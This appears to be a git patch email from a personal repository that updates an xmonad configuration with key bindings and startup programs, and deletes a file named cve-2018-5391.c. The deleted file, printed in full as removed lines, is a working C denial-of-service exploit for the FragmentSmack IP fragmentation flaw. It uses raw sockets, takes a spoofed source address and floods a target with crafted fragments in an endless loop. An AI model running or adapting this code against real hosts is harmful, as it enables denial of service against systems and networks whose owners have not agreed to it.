From 80e1d66e344fe9760b04cde8757e6e3fe0426a7b Mon Sep 17 00:00:00 2001
From: Toni Uhlig <matzeton@googlemail.com>
Date: Tue, 4 Jun 2019 23:42:53 +0200
Subject: xmonad.hs update; deleted cve-2018-5391.c
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
---
configs/xmonad.hs | 28 +++++++++---
cve-2018-5391.c | 131 ------------------------------------------------------
2 files changed, 23 insertions(+), 136 deletions(-)
delete mode 100644 cve-2018-5391.c
diff --git a/configs/xmonad.hs b/configs/xmonad.hs
index 7ee196b..d63b94f 100644
--- a/configs/xmonad.hs
+++ b/configs/xmonad.hs
@@ -44,7 +44,6 @@ fileWS = "2:mail"
webWS = "3:web"
w1WS = "4:work1"
w2WS = "5:work2"
-W3WS = "6:work3"
myWorkspaces :: [WorkspaceId]
myWorkspaces = [ comWS, fileWS, webWS, w1WS, w2WS ] ++ map show [6..9]
@@ -172,9 +171,16 @@ myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $
, ((modMask .|. shiftMask, xK_l),
spawn "xtrlock")
- -- Start Firefox
- , ((modMask .|. shiftMask, xK_i),
- spawn "iceweasel")
+ -- Start chromium.sh
+ , ((0 , 0x1008ff18),
+ spawn "chromium.sh")
+
+ -- Start claws.sh
+ , ((0 , 0x1008ff19),
+ spawn "claws.sh")
+
+ , ((0 , 0x1008ff1b),
+ spawn "chromium duckduckgo.com")
-- run demnu
, ((modMask .|. shiftMask, xK_d),
@@ -200,6 +206,18 @@ myKeys conf@(XConfig {XMonad.modMask = modMask}) = M.fromList $
, ((modMask .|. shiftMask, xK_k),
spawn "amixer -q set Master 10%+")
+ -- Mute volume multimedia key.
+ , ((0 , 0x1008ff12),
+ spawn "amixer -q set Master toggle")
+
+ -- Decrease volumt multimedia key.
+ , ((0 , 0x1008ff11),
+ spawn "amixer -q set Master 10%-")
+
+ -- Increase volume multimedia key.
+ , ((0 , 0x1008ff13),
+ spawn "amixer -q set Master 10%+")
+
--------------------------------------------------------------------
-- "Standard" xmonad key bindings
--
@@ -354,7 +372,7 @@ myStartupHook :: X ()
myStartupHook = do
safeSpawnProg "seahorse"
safeSpawnProg "chromium"
- safeSpawnProg "pidgin"
+ safeSpawnProg "pidgin.sh"
safeSpawnProg "claws.sh"
setWMName "LG3D"
nextWS
diff --git a/cve-2018-5391.c b/cve-2018-5391.c
deleted file mode 100644
index 0bfa2f4..0000000
--- a/cve-2018-5391.c
+++ /dev/null
@@ -1,131 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <time.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/ip.h>
-#include <netinet/ip_icmp.h>
-#include <arpa/inet.h>
-#include <assert.h>
-#include <errno.h>
-
-#define PKG_BUF 2048
-
-
-static inline void die_on_error(const char *err_prefix, int ret)
-{
- if (ret) {
- if (errno)
- perror(err_prefix);
- abort();
- }
-}
-
-static unsigned short csum(unsigned short *ptr, int nbytes)
-{
- long sum;
- unsigned short oddbyte;
- short answer;
-
- sum = 0;
-
- while (nbytes > 1) {
- sum += *ptr++;
- nbytes -= 2;
- }
-
- if (nbytes == 1) {
- oddbyte = 0;
- *((u_char*) &oddbyte) =* (u_char*) ptr;
- sum += oddbyte;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum = sum + (sum >> 16);
- answer = (short) ~sum;
-
- return(answer);
-}
-
-int main(int argc, char **argv)
-{
- unsigned char pkg[PKG_BUF];
- struct iphdr *ip = (struct iphdr *) pkg;
- struct sockaddr_in dest;
- int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
- int r, val = 1;
- size_t data_size = 896 - sizeof *ip;
- useconds_t send_rate = 1 * 1000; /* 50ms */
- size_t cur_frags, max_frags = 64;
- uint16_t id, max_bucket = 32;
-
- die_on_error("socket", s < 0);
-
- r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val);
- die_on_error("setsockopt", r != 0);
-
- if (argc != 3) {
- printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos"));
- return 1;
- }
- printf("smack: %s -> %s\n", argv[1], argv[2]);
-
- memset(&dest, 0, sizeof dest);
- memset(pkg, 0, sizeof pkg);
-
- ip->ihl = 5;
- ip->version = 4;
- ip->tos = 0;
- ip->tot_len = data_size - sizeof(struct iphdr);
- assert(ip->tot_len <= PKG_BUF);
- ip->id = 0;
- ip->frag_off = 0;
- ip->ttl = 255;
- ip->protocol = IPPROTO_IP;
- ip->check = 0;
- ip->saddr = inet_addr(argv[1]);
- ip->daddr = inet_addr(argv[2]);
- ip->check = csum((unsigned short *) pkg, sizeof *ip);
-
- dest.sin_family = AF_INET;
- dest.sin_addr.s_addr = inet_addr(argv[2]);
-
- srandom(time(NULL));
- cur_frags = 0;
- while (1) {
- if (cur_frags % max_frags == 0) {
- ip->frag_off &= 0xFF1F;
- id = ip->id;
- for (uint16_t i = 0; i < max_bucket; ++i) {
- ip->id = htons(id + i);
- r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
- die_on_error("sendto", r != ip->tot_len);
- }
- ip->id = id;
-
- ip->id = (uint16_t) random();
- ip->frag_off = 0x0020;
- printf("ip->id = %u\n", ip->id);
- }
-
- //ip->saddr = (uint32_t) random();
- id = ip->id;
- for (uint16_t i = 0; i < max_bucket; ++i) {
- ip->id = htons(id + i);
- r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
- die_on_error("sendto", r != ip->tot_len);
- }
- ip->id = id;
-
- usleep(send_rate);
- printf("%zu: ipd->id = %04X , ip->frag_off = %04X\n", cur_frags,
- ip->id, ntohs(ip->frag_off));
- ip->frag_off += htons(8);
- cur_frags++;
- }
-
- return 0;
-}
--
cgit v1.2.3